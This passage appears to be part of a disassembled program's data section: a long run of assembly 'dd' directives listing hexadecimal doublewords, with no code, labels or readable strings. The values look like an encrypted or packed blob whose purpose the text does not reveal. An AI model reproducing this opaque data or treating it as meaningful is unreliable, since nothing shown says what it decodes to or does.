0C2A76229h, 56EB0113h, 0D9C020Bh, 761FA740h, 6CA76234h dd 0EA200A57h, 4E95A729h, 0CCA7623Ah, 0ECA67E13h, 0E52D7829h dd 3801D1Bh, 425445ECh, 5546FBC0h, 0B3A7620Bh, 3AC42862h dd 5BF2FABAh, 34C4E249h, 273E620Bh, 37A7620Bh, 0E43F92D3h dd 483E623Fh, 6EA76234h, 0A8FBF3CBh, 0B54D0A1Dh, 0E90BC467h dd 75665929h, 44570DD1h, 0A11BBFE2h, 0A1C70643h, 8B95DD31h dd 5B3E6208h, 15A76265h, 1FDC06C3h, 0A47DEE1h, 0FCC7623Dh dd 0ECA7620Ah, 0FB62B636h, 8AF92FDh, 0ECA7E09Dh, 0B8A757A1h dd 0C79C6265h, 0ECA7620Ah, 0ECA59F65h, 5143C289h, 0F4A76234h dd 0BC856AD4h, 0C61FEEFFh, 0A78F8E26h, 0D9A5F8DEh, 0E96E74F5h dd 0FBA757A1h, 0ECA75B53h, 0CA7324D8h, 0C65B7876h, 0B63DA454h dd 13C9D29Dh, 4BA7E981h, 149C6265h, 0ECA7623Dh, 0FBA75765h dd 0ECA75B50h, 0CFFC0591h, 0A64AC4AEh, 6C77ECBBh, 0D8E1E01Dh dd 2E9EDB33h, 5EC76260h, 0EB462ADDh, 3FCEA729h, 0CCA76265h dd 654DD421h, 892309F3h, 393E6208h, 14A7623Ah, 5AB9A49Ah dd 2F7C930Bh, 7DEC80h, 8911FD38h, 0E90B9C5Bh, 0E90BC364h dd 8C624B29h, 0E84F7783h, 0AA2E0CC7h, 0C57D4F6h, 0F5E25F34h dd 217741F2h, 5B04E1F2h, 7FC2ECEh, 737F40C2h, 0E27F4070h dd 0E27C09CCh, 4D53A42Ch, 0E27E93E8h, 8056E1CCh, 4C6641F5h dd 0BB7F41B8h, 1BA46A5Eh, 73707A78h, 0FB5F41F1h, 0CC885B54h dd 83BA2FA4h, 0E27E87BEh, 173F46CCh, 26AD9F34h, 3DCB408Dh dd 2185EF6Bh, 34FD86F2h, 0F17F41E3h, 0E27F3A6Bh, 0D4762A78h dd 95F89F8Ah, 99454F9Eh, 0E1A49FF2h, 0E1A3A3B1h, 1B457ACCh dd 52FB702h, 4D2A9A4Dh, 4360F2F7h, 4DFF1029h, 0E237DE5Ch dd 0E23BB8CCh, 3F0C41CCh, 0FE986808h, 0A84A01CAh, 3EAAF360h dd 5CB5BEEh, 0E1F3B8F5h, 0DBEA41CCh, 0CE04E88Bh, 0E271B762h dd 0E27FBCCCh, 0D5AA312Ch, 1F3D8891h, 0B97F41BDh, 68AB2EF2h dd 0AA2FA1h, 29211DDEh, 326641F2h, 0F97F41E3h, 0E8FF6B04h dd 633647Fh, 0E7B1BBB4h, 0D5BF18DFh, 0E23651C4h, 0E1A3A3B1h dd 0C261E0CCh, 5DDABB66h, 54083F3Dh, 94A376B7h, 21DC2149h dd 0B6B886F2h, 737F41F5h, 0E1A3A1DEh, 0E206B8CCh, 467141CCh dd 4750A603h, 8151128h, 0C63574F9h, 217B41BBh, 1894B8F2h dd 0DA4D41F5h, 6F305232h, 0D97DA428h dd 8A54FB9Ch, 0A7D0B586h, 0C5C1876Ch, 0D4C0951Eh, 0C5C099B4h dd 2DD77C5Fh, 81C24A99h, 24C09F48h, 4C9A01Eh, 763AE554h dd 0A1C0A01Dh, 0F8D9A01Eh, 0B7C0A040h, 34DF27B2h, 0BD05F09Fh dd 0ECDD2724h, 0DA500226h, 0ECD93242h, 52CE68Ch, 56C0A274h dd 0C5C1BCF1h, 0E80FE56Ah, 56C0A053h, 0C5C028D6h, 56C0A06Ah dd 0C5C1EDF1h, 8142E56Ah, 0A1C0A01Dh, 0A4E0A01Eh, 0C0835DFAh dd 0C62CE6AFh, 0FA07EF8Ah, 0DFC0A053h, 0F2F4EF9h, 2D9A054h dd 6EC0A01Bh, 532E1F0Ch, 0D4C027F3h, 0C5C099B3h, 0F0FFD05Ah dd 99A1CAF2h, 6636162Eh, 0CCE0A053h, 0C5C09F62h, 0E23C6391h dd 0D7CCD540h, 0C41F6BC2h, 0DEEBA06Ah, 660C5442h, 0C5C08318h dd 2C2A546Ah, 1693D778h, 0BC5215B8h, 0C589AEC5h, 0C5C1E517h dd 8635526Ah, 0E1485F80h, 9E347A66h, 0DA1BE03Ah, 0FA4DA053h dd 0C5C36853h, 0C5883417h, 1530726Ah, 663833D7h, 5EB34C10h dd 0C387C0D6h, 0B4CAA1A6h, 1A613992h, 4BC0A045h, 0EE63D1BCh dd 7D08EEE5h, 0C75AE4BAh, 0C2E1E91Fh, 0C5C1E90Bh, 69FAA96Ah dd 94C2F96Fh, 1EF25790h, 0A5C0A276h, 0D2FE1232h, 0A8FE8D62h dd 0C58840B4h, 0C5C1BC17h, 0CD5EEE6Ah, 0BC9B0D81h, 969FDA24h dd 0A5C0A4F5h, 0FED90374h, 2A25FEF4h, 0C4E6B26Bh, 59B3E56Ah dd 0D4C0A01Eh, 0C5C0A055h, 236ADAA5h, 44E64878h, 0CF617C22h dd 44C0A040h, 81A7C724h, 0D1D0B1C2h, 0F8D23033h, 0B743F2D6h dd 0AA5E8E5Eh, 2DD9A054h, 1FE8FD4Ch, 1EFBDA38h, 924F5AFAh dd 92E840A7h, 9259CF9Bh, 77D5FDB8h, 92E8FD4Ch, 9385C79Bh dd 92E8FDB8h, 0C02BDFD8h, 0AA5C60ADh, 92230F12h, 92EF9E9Bh dd 0BAE0FDB8h, 92E81A13h, 93A148B8h, 72E8FDB8h, 0C1E7FFC3h dd 2DB3FD4Ch, 61E8FD26h, 7B922A50h, 9BC8FD26h, 92E8F474h dd 71400540h, 4B6567D3h, 40ABFF91h, 4A46FACFh, 20A21664h dd 0F0F7EC04h, 6D1DDB9Eh, 252B0B6Ah, 89E4EB34h, 3DAE8992h dd 89E739D4h, 79C5ABD5h, 9A16D94Ch, 8D1DF0EEh, 8D1C761Fh dd 0E018B732h, 0FC7B17D7h, 8AC007AAh, 2A2134EAh, 14F9840Bh dd 811DD926h, 0BB039087h, 0DBB5029Ah, 7CDFBF51h, 0EB1DD9FDh dd 64AA53ADh, 3545176Ah, 2E2C2A54h, 1E3892DCh, 0C424DF3Bh dd 89E73E00h, 8D1C7A1Fh, 8A6D1332h, 2E030E5Ah, 881B73BEh dd 8AC3F516h, 0E99F8992h, 89E73997h, 8D2D42D5h, 237DD932h dd 0B39EF141h, 0BC1DDB92h, 8D1DD926h, 0CB8F598Ch, 0B8E3698Eh dd 1F063B00h, 7C9F66A4h, 8AC778E5h, 8D1C4132h, 6D1DD4CFh dd 1852A2F0h, 20DE3786h, 998243Fh, 0EC1DD926h, 0B774D925h dd 0B81DD932h, 0B85FF07Ch, 0B17B8FC6h, 28BAD750h, 1A1F0178h dd 89E73F65h, 70B52432h, 0BC1DD9FDh, 8D1DE59Eh, 5B41FCC9h dd 0B086F5F5h, 8D0081A1h, 0C24C2432h, 0F01DD925h, 4EF0D925h dd 4C02664Ch, 29B244Ch, 6D1DD94Ch, 8D1D9114h, 85BAFE32h dd 0EAC014C2h, 64877D1Fh, 6E84A642h, 8F9B4602h, 1CA32432h dd 0E51DD926h, 4C29D925h, 8D1C414Ch, 0BC1DD4CFh, 8D1DE59Eh dd 3E67D768h, 0D649FAEBh, 89EB0446h, 8AA95632h, 0DE22D932h dd 2D0EAE5Bh, 1A818A79h, 0C8DF5098h, 0D61DD94Bh, 38108C1h dd 215A9C55h, 8D1DDE41h, 29B03432h, 0DFE2DC85h, 957DD94Bh dd 9F8D38DEh, 73F05C5Dh, 9A16D94Ch, 8D1DF0D4h, 8AD511D5h dd 0CB16D932h, 8D1DD926h, 0F216D932h, 8D1DF0D5h, 8D222092h dd 9647D932h, 0AA6541A6h, 7C60F557h, 4C24D923h, 2011244Ch dd 1A1DD93Fh, 8D1F2CC7h, 80792432h, 8D1DD94Ch, 0BD7F7232h dd 8D1DD932h, 9ED82E46h, 0BD816B2Ah, 8D1DD931h, 0C16CC16Ah dd 9DEB628Ah, 6044B023h, 1982623Eh, 8CFC9814h, 7D9F2432h dd 0BC1DD9FDh, 8D1DF0D5h, 0CA934A7Dh, 1372970Dh, 31C8DC9Ch dd 8D1C4D73h, 0B0AA34EAh, 16622F64h, 40AC08A6h, 8CFE16BEh dd 8D1F5632h, 0F44FD932h, 8A7FF488h, 0C39F2432h, 0F01DD925h dd 647DD925h, 8D1A21E9h, 0A04D932h, 94806D21h, 0F0CF13A9h dd 1D9E713Ch, 8CF3235Dh, 6A0DD932h, 4324CE80h, 8AC058B6h dd 0A1143932h, 8D1DF1BFh, 0AFC820B2h, 0BDCEE178h, 6D1DDE04h dd 177A52C5h, 7F4A4395h, 4C25D923h, 8D1A564Ch, 0B7F3D932h dd 8A97641Bh, 7301CC5Eh, 89443FC8h, 0ECFC31ACh, 2647741Dh dd 0ABFF0462h, 1A1DDE58h, 8D1CC041h, 8D1F5632h, 0C8AAD932h dd 0EEC311F6h, 9F16D925h, 8D1DF0E0h, 8AD243D5h, 5C16D932h dd 8D1DD94Ch, 7674D932h, 9B1DD94Ch, 0EA58329Bh, 8AC00BC6h dd 0BC1DD4CFh, 8D1DF0D3h, 0BC77E073h, 42319FDh, 5ECC0FEh dd 7783F4D8h, 7DA6C37Fh, 0D16D9FDh, 8D1DD9FDh, 0BC1DD4EAh dd 8D1DF0EBh, 90CEC566h, 0CE8E7DAAh, 50588DDEh, 9F7DD923h dd 2179298Bh, 0BC1DD93Fh, 8D1DF0A9h, 4C65ED5Ch, 525E31A1h dd 8D010224h, 8D1F6632h, 6D1DD426h, 89E73515h, 0AA2D1732h dd 0B13693h, 9B31E588h, 42A2E94Dh, 8C8082E3h, 8D1F569Bh dd 3BE2D932h, 236A5CA8h, 4D74D923h, 0EE1DD94Ch, 0A0436C15h dd 0CE87C672h, 20DECC0Fh, 0F314393Fh, 8D1DF1C7h, 9435FC07h dd 7CBE4530h, 0B374D923h, 1B1DD9F8h, 0A32C438Ch, 0AA3CF440h dd 620ADFADh, 2D0F27A9h, 0BC1DDE5Ch, 8D1DD932h, 0C4C8671Fh dd 8D0DF944h, 8AD55632h, 8AD7D932h, 0FAB15CC7h, 6D1F6648h dd 40F9253Ah, 0B28683B1h, 8D1DF0E0h, 8D9933E2h, 0E9BC0F1Eh dd 0C7A1EFAEh, 9F80E60Bh, 8A8A3474h, 5FA03932h, 8D3AFAD3h dd 7F24D932h, 0EB74D923h, 0F51DD925h, 0DBCE8315h, 0EF60DF5h dd 6D1DF0A9h, 4824336Ah, 7BE417D3h, 0CB16D923h, 8D1DF0D5h dd 8D1F2092h, 0A920D932h, 0D0A2B5Eh, 8F9BF420h, 9972432h dd 0EC1DD926h, 0D87DD925h, 5990B978h, 8D1F2FD8h, 0C158E832h dd 1C13BB00h, 0FAE36B32h, 44D2E4A4h, 4409F6C5h, 440940ABh dd 0E55E18h, 9F975E2Ah, 363DBC6Ch, 0BF85FD71h, 0D729C1Bh dd 4464327Ch, 64D2E418h, 5CF600F0h, 44094265h, 0D3D2E170h dd 44D2EB8Fh, 44D17F18h, 44D64E75h, 0D372E418h, 44D10CF7h dd 44094B18h, 44534875h, 3C72E418h, 44D2FD06h, 36CF8550h dd 0EA330658h, 221DC92Fh, 4225C262h, 0D3D2E638h, 44D2EBE5h dd 44D2F018h, 44B80775h, 9CD7E418h, 44D2FD5Fh, 442D06ABh dd 138FB618h, 0B00A786Eh, 367D5691h, 0B7400C9Ah, 0DD9635E2h dd 44D2F01Bh, 44DE6475h, 0D879E418h, 0CED2E41Bh, 945AAE7Bh dd 0B6BB543Bh, 0B06EDB35h, 0DC78D3A5h, 20D2E4A4h, 4F2FD119h dd 0F216CBC4h, 44098B46h, 56DA4638h, 44D2E40Eh, 0DFC41602h dd 3CA94BEFh, 44D2E4E2h, 21AC151Fh, 0CB1EFA49h, 44644BA3h dd 0C2AE3118h, 64D2E40Eh, 69FEC28Dh, 0DC9D70ACh, 4BD2E4A4h dd 1CB15A76h, 8DC2EBA1h, 67550156h, 35612F8Eh, 44D2FD73h dd 5B0D7910h, 0CFAF6F07h, 34D1BC92h, 0A95976BFh, 0D3D2EBFDh dd 3EEE01E5h, 3EE9AF7Ch, 4E0287Ch, 597E3471h, 47962873h dd 0D5EF2846h, 0BC1AF28h, 995352DBh, 0C05263F9h, 0FC6A3A15h dd 0A739AD01h, 3EEF3C7Fh, 96EF2DDFh, 4B962808h, 0BEF2846h dd 4D63FBE0h, 614EC8DBh, 14AFB6CEh, 0A317D1B5h, 0B1F7887Fh dd 0CE482E3h, 3ED677FCh, 29F4287Ch, 3EEF31C3h, 3E4ACA0Fh dd 0F8B8B77Ch, 0D4D3A282h, 0BB142967h, 0C21ADF36h, 3E8F69EBh dd 3E1BAF7Ch, 0E70C287Ch, 0E57BD810h, 80EB1305h, 0C8D06BFFh dd 3E2518F1h, 0F3499F9Ch, 3EF6B029h, 0F41A287Ch, 0B63014A0h dd 388BE3A4h, 0A719C898h dd 7867F48h, 0FFE62872h, 0B8BFFD72h, 4FEF2872h, 3EEF2808h dd 6C497DD8h, 299094AFh, 0CF3853C8h, 1B37DBBCh, 0FBCC97E9h dd 3EEF8072h, 3ED282D9h, 0FFE3287Ch, 3E64AF72h, 82C9287Ch dd 818EDE0Ah, 24492043h, 9FEF2767h, 0FF962808h, 97EF2872h dd 0D28F321Ch, 0FBD7A844h, 3EEC3D6Dh, 72A6887Ch, 9988D8h dd 3EEEB372h, 93EF2D08h, 3EEEF507h, 58474C7Ch, 0A2DD56FBh dd 0A496287Fh, 0EEEF287Fh, 50E3FF83h, 7AC9C933h, 8E058DE7h dd 0A4962872h, 0F2EF287Fh, 497191Ch, 7630110Bh, 266C5F36h dd 3E263719h, 0CF9B0C7Ch, 86FD1950h, 1EBB392Fh, 23BCB2A9h dd 3EEEF549h, 3EEE010Fh, 4010CC7Ch, 9EDFC9BFh, 6821B534h dd 4B962873h, 1EEF2846h, 0A83BB448h, 7818A188h, 0FEB5A7C4h dd 0A2DDC1EAh, 3E22AF7Fh, 8BA7287Ch, 0BA7E7B02h, 87D0E171h dd 96F5EBF1h, 0A38AC253h, 74FE887Fh, 3EEF276Eh, 5BA3D34h dd 3E263ABAh, 4FEF2D08h, 3EEF31DBh, 6DC1AEDFh, 0AC6587EEh dd 0D7AA3CF5h, 607CB824h, 64350A5h, 588F280Bh, 0F2281FC6h dd 3E0E4F36h, 0AB76FD7Ch, 93EF2808h, 78F42808h, 3EEF31DBh dd 3EEF500Fh, 56C29A7Ch, 1B4A1A8Fh, 2F3FEE30h, 0ADAD3D28h dd 0A9EF3CBAh, 3EEE03E7h, 1FCFD7Ch, 0A9EF2872h, 3EEEC0C1h dd 4FEF287Ch, 3EEF31D9h, 532A8622h, 20141A03h, 0B20537A8h dd 468E21CEh, 3EEF31DBh, 3EBE5507h, 38A4527Bh, 973EFD28h dd 196691CFh, 516C56CCh, 3EE9E254h, 87DB287Ch, 9F4FF876h dd 1EEF2A9Fh, 3EEEB292h, 0A412287Ch, 770D73FDh, 0DD31F12Ah dd 0AC10A728h, 1EEF2A9Fh, 14DEE854h, 0B164BC4Ah, 3E263ABCh dd 3EF483D9h, 4596287Ch, 0B0EF287Ch, 0D86C3316h, 53B72340h dd 0D07E782Bh, 4FEF287Fh, 3EEF31DBh, 6468F068h, 4EF2D990h dd 0F966CF76h, 99CCFC9Fh, 273FBCF2h, 7AF4283Eh, 3EEF2846h dd 3E64E19Ch, 2DD2287Ch, 4B15DA78h, 99AC5BF1h, 3E26871Ah dd 0E73FED4h, 0A9EF2841h, 3EEE016Dh, 3EEEAF7Ch, 9C1A287Ch dd 0FFC02C94h, 3E1AAF72h, 4A5C287Ch, 71EBA1EEh, 3E3CA9CDh dd 3E8DAF7Ch, 8091287Ch, 456D9EEh, 8F719923h, 0FE08F093h dd 483C4A73h, 96EF2DEDh, 9F8F2808h, 4FEF2A9Fh, 3EEF3195h dd 32F7622Ah, 43974757h, 3EE0971Ah, 3E8D77D9h, 78F4287Ch dd 3EEF31C4h, 3EEEF50Fh, 60A0B07Ch, 93B362E7h, 468F2808h dd 3EEF30F7h, 6BB1E62Fh, 99D82045h, 0A16631F2h, 2372A05Ch dd 3EEF5019h, 457F617Ch, 61EA7341h, 9319812Eh, 0C5CB8406h dd 0A9C68D83h, 3EEF2758h, 80F3B37Ch, 3EEF319Eh, 3EEE030Fh dd 9F07147Ch, 0A32897C7h, 24EF287Fh, 550EE2F1h, 0FF95F6A7h dd 6EF2872h, 6938F9F4h, 8E203885h, 77B4C305h, 3EE9EB1h dd 446A1138h, 0D4E84CAEh, 0AA61A338h, 0E6220DEEh, 5334E733h dd 8E661584h, 236619B1h, 2392CA96h, 8FEC4396h, 0CB631814h dd 128FC689h, 85DF118Ah, 6848A3E0h, 23674C38h, 1EFA8ED3h dd 85FFE2h, 820FACF4h, 13EBCD75h, 12074399h, 56D118D6h dd 776743E3h, 9160CD75h, 0B30743E2h, 24AD2C18h, 0ECB83777h dd 6EEC9459h, 2366114Dh, 301E4396h, 7D6743ACh, 3E79B72Eh dd 4EC357DCh, 0C3E4FE61h, 0E6A06A36h, 0E2D0DE0Fh, 0ED676D7Dh dd 236619F0h, 25D07A96h, 9561AE91h, 373DEF2Fh, 0AB805187h dd 9B5B5BDAh, 1C524940h, 3676C52h, 5DCE7340h, 0E65DC864h dd 34600F33h, 96369B35h, 84676D82h, 8E0757D4h, 23661E2Bh dd 0B6A10996h, 89A662D7h, 0A0674395h, 7DFF9A8Eh, 836E5872h dd 93E7E7FEh, 23C2E731h, 0E70F4396h, 23F74270h, 0F76A396h dd 4826A2F5h, 3661538h, 23C2E5F3h, 5A647496h, 66FD0AB6h dd 84EF6CACh, 99807B7Ah, 60DF504Eh, 0D90940F6h, 0B611A3E1h dd 780D8C6h, 23661EF3h, 6B008396h, 63F04423h, 0E5CFC824h dd 0F96E4398h, 85E05F89h, 237BCAE0h, 13014396h, 0D2B4C18Fh dd 0A2FD26AEh, 0E6220C88h, 0B8E1678h, 0C569E6Bh, 45A8C3FBh dd 2A4C1BF4h, 23B0CA96h, 3E564396h, 0C38CFD60h, 87FA673Eh dd 8E674395h, 2366112Ch, 0E3FB1896h, 12674398h, 0E681A840h dd 17674398h, 0DA7A7519h, 23B4EA31h, 36704396h, 4B820FC0h dd 23661060h, 56371896h, 846743E3h, 236619EDh, 0C84EF296h dd 8947963h, 411E8F22h, 5AE30B8Eh, 0E0CFF115h, 5E344398h dd 54CFDFE4h, 55855ED0h, 0E4B1AE50h, 17B3BF71h, 87E16AADh dd 23AEA02Bh, 2305CA96h, 517A4396h, 31C7E0BDh, 0EE859796h dd 0D27878FCh, 9A7AF302h, 0FA853153h, 1CF9966h, 5DD8EA10h dd 5B86C3C1h, 0D3E4F51Dh, 0F4116B9h, 530A251Dh, 0D3E52AA5h dd 0D16815FAh, 0FAD4AE49h, 1D88A712h, 0E585BD58h, 87622CD1h dd 0D1AF2534h, 78E50BF5h, 0D3E5249Ah, 729F7D1Ah, 0D3DC78A8h dd 76AC251Ah, 6E5251Ah, 0ABD6CD2Ah, 2E34306h, 71B7F80Fh dd 7804A855h, 0D3E4F6D5h, 7DF2FE1Ah, 67E52557h, 987A7874h dd 0E509F7C1h, 0D3E52AA2h, 0D3118DA7h, 7BAC251Ah, 3BE52557h dd 0D8D8D535h, 0AE83F95Fh, 0BBF39F2Dh, 0D3418585h, 9067451Ah dd 162C5739h, 0D3E4F768h, 4416E01Ah, 0B1696C62h, 0BBF44E59h dd 0D3418288h, 0D30DAC1Ah, 0E025251Ah, 0A8054EABh, 538D3AE2h dd 0D005BE9Eh, 4C76A311h, 13E5251Eh, 0D376AC1Dh, 0C944251Ah dd 98D11FFEh, 163AE0DFh, 54022A3Bh, 10F0D99Ch, 0D3E4F51Dh dd 0D91015B2h, 1EE52520h, 0CF17F54Bh, 8D85DE72h, 0B8F4005Bh dd 41F49C62h, 94F2A080h, 0D3418362h, 0DAE74C1Ah, 0F947E873h dd 4002FBE2h, 0F67586FBh, 0A2E60017h, 0D3E52AA7h, 4ED4CDE7h dd 0A11F0F5Fh, 6A988423h, 0A285A8DEh, 0D3E52AF3h, 0CEC3E6EEh dd 0F9B2FFC1h, 2CFDBB23h, 10A0EFC9h, 0A93266FDh, 0B204B10Bh dd 783C650Ah, 0D3E6609Eh, 0E6B6A81Ah, 8F09F8ACh, 0D3E52495h dd 2F16A3FAh, 0D3E4F868h, 9DCA171Ah, 54876D7Bh, 78E10DD6h dd 0D341179Eh, 0D307AC1Ah, 8ADA251Ah, 0D3E8AE09h, 898AA68Eh dd 1BD17028h, 0DDA673A7h, 0D3E4FA7Fh, 0EE85181Ah, 7C35E262h dd 853F0A94h, 6BFA2E29h, 0C681B78Eh, 0D3E52557h, 0D3E4FE69h dd 5A4B301Ah, 0CE601512h, 0D743AC35h, 0D6EE9CABh, 9A892B33h dd 6BFA25C8h, 0D33C3462h, 0CB43791Ah, 12FBF751h, 1477B954h dd 6CB5EA26h, 93FD6C87h, 0D335F55Fh, 0E1AC251Ah, 8CE52520h dd 0FEF0395h, 22B6D2B2h, 0E4058130h, 0D191871Fh, 6BFE7962h dd 0F3042A58h, 0E0F89332h, 66F94E0Dh, 0DB8503EEh, 0D3E5251Bh dd 0D8C5CDEh, 774DB87Dh, 0D3E5BD73h, 0FC874A1Ah, 87C15C88h dd 280E87A3h, 9A874EBBh, 0D3E52AF3h, 33A95F4h, 0CA5B51Eh dd 67E11AA5h, 0D3E5BC7Fh, 9B674B1Ah, 104549C2h, 80AAFF59h dd 72E52557h, 25BB6374h, 0FD09F6F9h, 69413C04h, 6BC58D15h dd 0D0413C35h, 0E8E5C056h, 694162A4h, 3B014D52h, 0B44CF591h dd 9FA39A88h, 0ECE66F32h, 69413C33h, 0C428006Dh, 0D54284F9h dd 71499E14h, 0D57B21CDh, 0FD413C34h, 6284DB14h, 0CD9D84EFh dd 7270DC14h, 1F413C35h, 0E2976CCBh, 1DFF7E80h, 173A1EF3h dd 69427495h, 649E5935h, 0C2EB313Ch, 0DF8ABBDFh, 0A82FCCB2h dd 0FF90CBEEh, 69413C0Ch, 0BFF50BC7h, 3180CFA0h, 44338C56h dd 0DED3FB73h, 463E488h, 68ACC89Bh, 771BA72Ah, 510A49BAh dd 384EDF7Ch, 517FFACCh, 6825658Eh, 88F21742h, 0A1AF4CABh dd 0EA0676Fh, 0F93D3C5Fh, 1CF49FF2h, 0EE65B1F6h, 888CC8A9h dd 0C4BD4381h, 238CF092h dd 888CCE06h, 6D4D2EEEh, 5D45B022h, 36F6C3DEh, 0C77FFACDh dd 3D251298h, 0A94FC47Bh, 0B80F68B1h, 889C5C04h, 145BC8ABh dd 328CC8ACh, 221D529Ch, 0D4119F77h, 261F0260h, 51DA28DFh dd 0D6FF69E4h, 76D28E15h, 89514204h, 32ACC8ABh, 1F2F9017h dd 888CC8A5h, 0F29AC9h, 0BCA1D9A1h, 790F17F4h, 888CD242h dd 4C43A0ABh, 48C21608h, 0E7FE95B3h, 479A90B8h, 0FFA9E5B2h dd 888CC8ABh, 88878604h, 8BB7C8ABh, 8D05157Dh, 888CC82Ah dd 944AD0ABh, 7A848ADh, 888CCE08h, 0B2F98BCBh, 0C0803304h dd 214BDDCAh, 888CC89Bh, 32C5A4C3h, 22725D65h, 888CC8C0h dd 88F21742h, 0A54562ABh, 168ACEF8h, 897A703Dh, 9EF53C8Dh dd 0E405A9B9h, 229B105Ch, 888CCE09h, 4BA315A3h, 0E21E345Dh dd 44CD4700h, 50846030h, 26A368AEh, 888CCE6Bh, 8E4A6F68h dd 0F48CC8ABh, 7E757369h, 0A4723303h, 59B69E54h, 88EF6106h dd 6BE5C8ABh, 0C26E5F90h, 8D5BE1C0h, 0D8CC8ABh, 52C1DD0Eh dd 9F47B210h, 4A32E337h, 26A9D602h, 888DFF12h, 8B680473h dd 88EBE72Ch, 88B1AFABh, 0C6E1C8ABh, 0E6B0C0FBh, 0FFFFAD2Ah dd 2F709B51h, 8960CE33h, 0D3355DADh, 0B8BC7E73h, 2FB7C2D4h dd 7A10D247h, 238CC8ABh, 888CC8A8h, 35BD561h, 76B550D4h dd 778093A4h, 29A64AC2h, 0FA4249E4h, 0D125C891h, 88F21542h dd 482C8DABh, 0A5C1BBFh, 8207601Dh, 71B871ADh, 0A55003CCh dd 0F65BCC6Ch, 0AE19C2D8h, 9A9CBCAh, 888CC8A8h, 88925C04h dd 8E5BC8ABh, 978CC8ABh, 0B86FF4F8h, 0C98ED80Ch, 88AA5A05h dd 0C65BC8ABh, 0B58CC8ADh, 8725468Fh, 4218BCA2h, 4A7FD9DDh dd 6C8D7B6Fh, 88F21742h, 0E5F41AABh, 3445FBB0h, 0C056367Ch dd 79AC4360h, 0E044DC99h, 888CC8ABh, 0C0BD4381h, 688CF1E5h dd 56BB55CDh, 888CDE44h, 0F36311ABh, 2AC3D95Dh, 0F6851461h dd 1C52B441h, 97A97EADh, 98796E4Dh, 0F3ADA9EDh, 0E3C1A9CCh dd 1C5482ABh, 1AE134B1h, 4952BBEEh, 1C585AB5h, 2E97A2ADh dd 59DDA815h, 1CAF031Fh, 86B482ADh, 49DA9C0h, 1CABF1CDh dd 804E82ADh, 97B5D8A4h, 9F45FAAFh, 0C614A9C1h, 3EEDB6F8h dd 1CA1F1A6h, 72DE82ADh, 1CA615E2h, 0C69EC701h, 3EEB94F8h dd 1A03A2A6h, 15482ADh, 769E2161h, 2A66A11Eh, 8F299DCDh dd 1D0061CDh, 835482ADh, 488130D8h, 2A147E36h, 8175D6CFh dd 1C5482ABh, 0E70505B3h, 0A552BAFFh, 1C5482ADh, 641DFC96h dd 0B4B0354Eh, 2FF0AA0Dh, 0F1579E5Eh, 0FA341E30h, 1C52B944h dd 2B8386ADh, 1E4117E9h, 349AF0E8h, 1D1A8872h, 2071FFB4h dd 1C52CC25h, 62BFE7ADh, 0F3D610CDh, 2652E50Fh, 1CB6F1CCh dd 0DB3182ADh, 71C4B6DDh, 0CFB7B87Ch, 53176C51h, 0A68B97BEh dd 1C548457h, 98453828h, 6CFD2C16h, 4520173Bh, 0D5EF8D7h dd 6DC388E9h, 0FC52E4FFh, 0FC76C3C6h, 2E2409C6h, 742FA812h dd 154108E0h, 1CB1511Ch, 0F6B482ADh, 0CAB5F429h, 0FBCE33C4h dd 35648271h, 6403A36Ah, 675482ACh, 65B4998Ah, 31A241E4h dd 402C2287h, 1ACAF1CDh, 0D5F182ADh, 310FC032h, 161998C1h dd 5FE27B1Eh, 0A708E547h, 4AE2D1ACh, 1ED482C4h, 0CFB6A2ADh dd 0ACD0786Bh, 1A12A25Eh, 153AE7CDh, 1F5482ADh, 1C595B2Dh dd 1CB0F1ADh, 540682ADh, 0BD40E4BCh, 92FF2C49h, 2914A2CAh dd 0FE0799B7h, 7FA3D9ABh, 922AD10Bh, 483DB85Dh, 355482ACh dd 1CA2F014h, 0D0882ADh, 138CA17Ch, 4813B6A0h, 0A6811B4Bh dd 1C54841Fh, 28BA153Ch, 4BF6474Ch, 9C4F6B67h, 410F82AAh dd 9DB6A2ACh, 0FDB8804Ch, 0D1BAD9ABh, 5005D10Ah, 0FA39C75Ch dd 4ABFE6D9h, 402DA5B3h, 1CABF019h, 0A3DD82ADh, 0C5FBF5EBh dd 0D3B903B1h, 20033E73h, 1C52BE27h, 1CB6F1ADh, 5EF082ADh dd 42116A64h, 0FCB49850h, 0AEDE715Ah, 0E47BDE04h, 1998A360h dd 0A25482ADh, 7209D52Bh, 0F6B2D10Bh, 4716F2EEh, 1C4FF1CDh dd 4DB682ADh, 693A497Dh, 0C5BD9C30h, 1C54841Ch, 1EDCE7CDh dd 1F5482ADh, 1C595B26h, 0E435A9ADh, 2B9C8EA2h, 0A554841Eh dd 1C548457h, 34B77898h, 0F7871A5Fh, 0F5FA016Fh, 0F35824C7h dd 6C06666Eh, 0E35482A5h, 4FE5A6AFh, 0B8EF7224h, 76A3D102h dd 48C66379h, 0E927EC1Dh, 186EC48Ah, 1C5A081Ch, 222882ADh dd 1C52B683h, 0D4B6A2ADh, 9FC1AF01h, 1C5482AAh, 0F303A5CAh dd 625482ABh, 0E19B114Eh, 8F987A88h, 0C05482ADh, 0D962AF90h dd 7EAE10CCh, 4DE7B277h, 609902B3h, 1E1A43CDh, 91CF371Ch dd 9FBD88ACh, 1C5482ABh, 1E5FDFB1h, 1AB482ADh, 1C52D145h dd 0BC7D92ADh, 0F4B99802h, 6D6C0814h, 0FDB43F0Fh, 9DB6A2C9h dd 0FD5A76E9h, 46CFB8E1h, 1F5482ACh, 1C52CD29h, 883BA2ADh dd 57FF82A2h, 895482A7h, 0E820A599h, 0E6939758h, 126A7ABBh dd 41E30904h, 0CABC3DDAh, 1C54841Eh, 1C553E1Ch, 9CBD82ADh dd 1C5482AAh, 75AED690h, 8322C961h, 282AA11Ch, 927B3675h dd 0E3AF3DB1h, 0A70CC8E9h, 253B860Ah, 1C5E3E1Fh, 2E2C82ADh dd 1C52B445h, 0E8BDE9ADh, 0A5408E89h, 0DBEB2EC3h, 1C595B42h dd 0C4DBA4ADh, 186F28BDh, 1C5E3E1Ch, 4D0382ADh, 0FCBC4983h dd 1C52CA41h, 73178CADh, 49EBC3D5h, 0F330AB7Ah, 69A233CCh dd 2CB080ADh, 1C52CA44h, 0BBA0ABADh, 48ED188Dh, 740700F4h dd 0A6E56C73h, 1C54846Bh, 958BBDBAh, 270E303Ah, 0ADAA6BE6h dd 9DB67B46h, 0D18FA174h, 39821547h, 1E8FEACCh, 27B482ADh dd 1C4F3F1Fh, 0A60C82ADh, 1C54841Eh, 0F5DD1E7Fh, 3B83F1B9h dd 0B5900624h, 2212B3CAh, 1C4F0129h, 93319AADh, 0C82133CDh dd 0A183E930h, 20F7A2FEh, 1C507325h, 